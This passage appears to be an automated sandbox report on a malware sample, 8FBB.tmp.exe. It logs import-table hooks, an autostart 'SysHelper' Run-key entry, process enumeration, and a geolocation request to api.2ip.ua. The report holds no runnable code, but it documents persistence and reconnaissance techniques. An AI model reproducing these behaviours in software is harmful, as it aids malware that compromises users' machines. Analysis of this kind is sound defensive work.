IAT private_0x0000000000d80000:+0x572e1 9. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:AreAnyAccessesGranted+0x0 now points to private_0x000000007fff0000:+0x8000ffff
...
IAT private_0x0000000000d80000:+0x572e1 15. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:DnsHostnameToComputerNameA+0x0 now points to private_0x000000007fff0000:+0x4986c033
...
IAT private_0x0000000000d80000:+0x572e1 16. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetHandleInformation+0x0 now points to private_0x000000007fff0000:+0xdc19f0f
...
IAT private_0x0000000000d80000:+0x572e1 17. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetModuleHandleA+0x0 now points to private_0x000000007fff0000:+0x8000450c
...
IAT private_0x0000000000d80000:+0x572e1 19. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetFileAttributesExW+0x0 now points to private_0x000000007fff0000:+0x4986c933
...
IAT private_0x0000000000d80000:+0x572e1 23. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetNumberFormatA+0x0 now points to private_0x000000007fff0000:+0x36107f74
...
IAT private_0x0000000000d80000:+0x572e1 28. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlTryEnterCriticalSection+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d80000:+0x572e1 34. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:IsValidLocale+0x0 now points to private_0x000000007fff0000:+0x5ca3316
...
IAT private_0x0000000000d80000:+0x572e1 35. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetLocaleInfoW+0x0 now points to private_0x000000007fff0000:+0x41a00fff
...
IAT private_0x0000000000d80000:+0x572e1 36. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:LCMapStringW+0x0 now points to private_0x000000007fff0000:+0x7f4e0c8d
...
IAT private_0x0000000000d80000:+0x572e1 37. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:IsProcessorFeaturePresent+0x0 now points to private_0x000000007fff0000:+0x600ffff
...
IAT private_0x0000000000d80000:+0x572e1 45. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ExitProcess+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d80000:+0x572e1 50. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetConsoleCtrlHandler+0x0 now points to cryptbase.dll:SystemFunction036+0x182f
...
IAT private_0x0000000000d80000:+0x572e1 51. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlEnterCriticalSection+0x0 now points to private_0x000000007fff0000:+0x5c13312
...
IAT private_0x0000000000d80000:+0x572e1 52. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlLeaveCriticalSection+0x0 now points to private_0x000000007fff0000:+0x40a00fc9
...
IAT private_0x0000000000d80000:+0x572e1 53. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:FlushFileBuffers+0x0 now points to private_0x000000007fff0000:+0x7f460c8d
...
IAT private_0x0000000000d80000:+0x572e1 54. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:WriteFile+0x0 now points to private_0x000000007fff0000:+0x6c00ffff
...
IAT private_0x0000000000d80000:+0x572e1 55. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetConsoleCP+0x0 now points to private_0x000000007fff0000:+0x5ca3302
...
IAT private_0x0000000000d80000:+0x572e1 58. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:FatalAppExitA+0x0 now points to private_0x000000007fff0000:+0x592c5920
...
IAT private_0x0000000000d80000:+0x572e1 59. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlSizeHeap+0x0 now points to private_0x000000007fff0000:+0x5104f103
...
IAT private_0x0000000000d80000:+0x572e1 60. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ReadFile+0x0 now points to private_0x000000007fff0000:+0x310d93b
...
IAT private_0x0000000000d80000:+0x572e1 61. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ReadConsoleW+0x0 now points to private_0x000000007fff0000:+0x8000fb5f
...
IAT private_0x0000000000d80000:+0x572e1 62. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:HeapFree+0x0 now points to private_0x000000007fff0000:+0x5304f303
...
IAT private_0x0000000000d80000:+0x572e1 65. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentThread+0x0 now points to private_0x000000007fff0000:+0x1d25ff00
...
IAT private_0x0000000000d80000:+0x572e1 66. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentThreadId+0x0 now points to 8fbb.tmp.exe:+0x2930c
...
IAT private_0x0000000000d80000:+0x572e1 68. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetStdHandle+0x0 now points to private_0x000000007fff0000:+0x410e442
...
IAT private_0x0000000000d80000:+0x572e1 75. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetEnvironmentStringsW+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d80000:+0x572e1 81. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:Sleep+0x0 now points to private_0x000000007fff0000:+0x5ca3316
...
IAT private_0x0000000000d80000:+0x572e1 82. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentProcess+0x0 now points to private_0x000000007fff0000:+0x41a00fff
...
IAT private_0x0000000000d80000:+0x572e1 83. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TerminateProcess+0x0 now points to private_0x000000007fff0000:+0x7f4e0c8d
...
IAT private_0x0000000000d80000:+0x572e1 84. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TlsAlloc+0x0 now points to private_0x000000007fff0000:+0x600ffff
...
IAT private_0x0000000000d80000:+0x572e1 85. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TlsGetValue+0x0 now points to private_0x000000007fff0000:+0x41860fc9
...
IAT private_0x0000000000d80000:+0x572e1 92. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:LoadLibraryExW+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000d80000:+0x572e1 97. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetStdHandle+0x0 now points to cryptbase.dll:SystemFunction036+0x18f7
...
IAT private_0x0000000000d80000:+0x572e1 98. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetFilePointerEx+0x0 now points to private_0x000000007fff0000:+0x5c13312
...
IAT private_0x0000000000d80000:+0x572e1 99. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:WriteConsoleW+0x0 now points to private_0x000000007fff0000:+0x40a00fc9
...
IAT private_0x0000000000d80000:+0x572e1 100. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlReAllocateHeap+0x0 now points to private_0x000000007fff0000:+0x7f460c8d
...
IAT private_0x0000000000d80000:+0x572e1 101. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetDateFormatW+0x0 now points to private_0x000000007fff0000:+0x6c00ffff
...
IAT private_0x0000000000d80000:+0x572e1 102. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetTimeFormatW+0x0 now points to private_0x000000007fff0000:+0x5ca3302
...
IAT private_0x0000000000d80000:+0x572e1 104. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:CreateFileW+0x0 now points to private_0x000000007fff0000:+0xb010003
...
Host Behavior
File (548)
»
Operation Filename Additional Information Success Count Logfile
Get Info Fiwuluco ficuxuyolu rotebisikure type = file_attributes False 540
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Write - size = 48 False 1
Fn
Write - size = 2 False 1
Fn
Registry (1624)
»
Operation Key Additional Information Success Count Logfile
Create Key Vazobigi kutiruye pacucujuyikana sipupepazudu tamosoza - False 540
Fn
Open Key Jorayipifa dedi sezifowijo jowizalova gesolo - False 540
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe" --AutoStart, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Delete Key Digiyeyo dogulawoxe hizo - False 540
Fn
Process (52)
»
Operation Process Additional Information Success Count Logfile
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\program files (x86)\google\performance.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sync framework\nuts.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\chapterpete.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\uninstall information\oliverbermudashipped.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\msbuild\sudan.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\reference assemblies\repair.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows nt\wired-brad-studying.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\reservations.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\rehab-probability-shelf.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\lid-contributions-rubber.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\internet explorer\lobby-dropped.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft sql server compact edition\oriented-luck.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\earnedmating.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows mail\orleans.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\adobe\reader 10.0\reader\reader_sl.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\conhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla maintenance service\annotation-atomic.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows sidebar\sw typical avg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows photo viewer\failsrehabilitationscared.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\uninstall information\nights.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\mozilla firefox\dominican.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\windows defender\winner.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\reference assemblies\philippines_champagne.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\users\5p5nrgjn0js halpmcxz\desktop\8fbb.tmp.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (80)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 1
Fn
Load Psapi.dll base_address = 0x75140000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 3
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8fbb.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8fbb.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x75141544 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x75141408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x7514152c True 1
Fn
System (16)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 12
Fn
Get Time type = System Time, time = 2019-07-10 16:40:00 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 17784072738 True 1
Fn
Get Time type = System Time, time = 2019-07-10 16:40:02 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 17988153604 True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Debug (539)
»
Operation Process Additional Information Success Count Logfile
Detach - - False 539
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 467 bytes
Total Data Received 7.12 KB
Contacted Host Count 1
Contacted Hosts 77.123.139.189
HTTP Session #1
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.12 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
Process #11: 8fbb.tmp.exe
5563 7
»
Information Value
ID #11
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8fbb.tmp.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe" --AutoStart
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:27, Reason: Autostart
Unmonitor End Time: 00:04:28, Reason: Terminated by Timeout
Monitor Duration 00:03:00
OS Process Information
»
Information Value
PID 0x544
Parent PID 0x458 (Unknown)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 548
0x 6F4
0x 6F8
0x 6FC
0x 700
0x 704
0x 708
0x 32C
0x 670
0x 324
0x 5EC
0x 5F0
0x 740
0x 54C
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x0000000000260000:+0x572e1 1. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:GetFileSecurityW+0x0 now points to private_0x000000007fff0000:+0x4986ffff
...
IAT private_0x0000000000260000:+0x572e1 3. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:LockServiceDatabase+0x0 now points to private_0x000000007fff0000:+0x36100000
...
IAT private_0x0000000000260000:+0x572e1 4. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegDeleteKeyA+0x0 now points to private_0x000000007fff0000:+0x36101a7e
...
IAT private_0x0000000000260000:+0x572e1 5. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegOpenKeyW+0x0 now points to private_0x000000007fff0000:+0x782c1a42
...
IAT private_0x0000000000260000:+0x572e1 6. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegCreateKeyExW+0x0 now points to private_0x000000007fff0000:+0x49341674
...
IAT private_0x0000000000260000:+0x572e1 7. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:SetThreadToken+0x0 now points to private_0x000000007fff0000:+0x1f10ff85
...
IAT private_0x0000000000260000:+0x572e1 9. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:AreAnyAccessesGranted+0x0 now points to private_0x000000007fff0000:+0x8000ffff
...
IAT private_0x0000000000260000:+0x572e1 15. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:DnsHostnameToComputerNameA+0x0 now points to private_0x000000007fff0000:+0x4986c033
...
IAT private_0x0000000000260000:+0x572e1 16. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetHandleInformation+0x0 now points to private_0x000000007fff0000:+0xdc19f0f
...
IAT private_0x0000000000260000:+0x572e1 17. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetModuleHandleA+0x0 now points to private_0x000000007fff0000:+0x8000450c
...
IAT private_0x0000000000260000:+0x572e1 19. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetFileAttributesExW+0x0 now points to private_0x000000007fff0000:+0x4986c933
...
IAT private_0x0000000000260000:+0x572e1 23. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetNumberFormatA+0x0 now points to private_0x000000007fff0000:+0x36107f74
...
IAT private_0x0000000000260000:+0x572e1 28. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlTryEnterCriticalSection+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000260000:+0x572e1 34. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:IsValidLocale+0x0 now points to private_0x000000007fff0000:+0x5ca3316
...
IAT private_0x0000000000260000:+0x572e1 35. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetLocaleInfoW+0x0 now points to private_0x000000007fff0000:+0x41a00fff
...
IAT private_0x0000000000260000:+0x572e1 36. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:LCMapStringW+0x0 now points to private_0x000000007fff0000:+0x7f4e0c8d
...
IAT private_0x0000000000260000:+0x572e1 37. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:IsProcessorFeaturePresent+0x0 now points to private_0x000000007fff0000:+0x600ffff
...
IAT private_0x0000000000260000:+0x572e1 45. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ExitProcess+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000260000:+0x572e1 50. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:SetConsoleCtrlHandler+0x0 now points to sspicli.dll:+0x2b1f
...
IAT private_0x0000000000260000:+0x572e1 51. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlEnterCriticalSection+0x0 now points to private_0x000000007fff0000:+0x5c13312
...
IAT private_0x0000000000260000:+0x572e1 52. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlLeaveCriticalSection+0x0 now points to private_0x000000007fff0000:+0x40a00fc9
...
IAT private_0x0000000000260000:+0x572e1 53. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:FlushFileBuffers+0x0 now points to private_0x000000007fff0000:+0x7f460c8d
...
IAT private_0x0000000000260000:+0x572e1 54. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:WriteFile+0x0 now points to private_0x000000007fff0000:+0x6c00ffff
...
IAT private_0x0000000000260000:+0x572e1 55. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetConsoleCP+0x0 now points to private_0x000000007fff0000:+0x5ca3302
...
IAT private_0x0000000000260000:+0x572e1 58. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:FatalAppExitA+0x0 now points to private_0x000000007fff0000:+0x592c5920
...
IAT private_0x0000000000260000:+0x572e1 59. entry of 8fbb.tmp.exe 4 bytes ntdll.dll:RtlSizeHeap+0x0 now points to private_0x000000007fff0000:+0x5104f103
...
IAT private_0x0000000000260000:+0x572e1 60. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ReadFile+0x0 now points to private_0x000000007fff0000:+0x310d93b
...
IAT private_0x0000000000260000:+0x572e1 61. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:ReadConsoleW+0x0 now points to private_0x000000007fff0000:+0x8000fb5f
...
IAT private_0x0000000000260000:+0x572e1 62. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:HeapFree+0x0 now points to private_0x000000007fff0000:+0x5304f303
...
IAT private_0x0000000000260000:+0x572e1 65. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentThread+0x0 now points to private_0x000000007fff0000:+0x1d25ff00
...
IAT private_0x0000000000260000:+0x572e1 66. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentThreadId+0x0 now points to 8fbb.tmp.exe:+0x2930c
...
IAT private_0x0000000000260000:+0x572e1 68. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetStdHandle+0x0 now points to private_0x000000007fff0000:+0x410e442
...
IAT private_0x0000000000260000:+0x572e1 75. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetEnvironmentStringsW+0x0 now points to private_0x000000007fff0000:+0x8000ff4d
...
IAT private_0x0000000000260000:+0x572e1 81. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:Sleep+0x0 now points to private_0x000000007fff0000:+0x5ca3316
...
IAT private_0x0000000000260000:+0x572e1 82. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:GetCurrentProcess+0x0 now points to private_0x000000007fff0000:+0x41a00fff
...
IAT private_0x0000000000260000:+0x572e1 83. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TerminateProcess+0x0 now points to private_0x000000007fff0000:+0x7f4e0c8d
...
IAT private_0x0000000000260000:+0x572e1 84. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TlsAlloc+0x0 now points to private_0x000000007fff0000:+0x600ffff
...
IAT private_0x0000000000260000:+0x572e1 85. entry of 8fbb.tmp.exe 4 bytes kernel32.dll:TlsGetValue+0x0 now points to private_0x000000007fff0000:+0x41860fc9
...
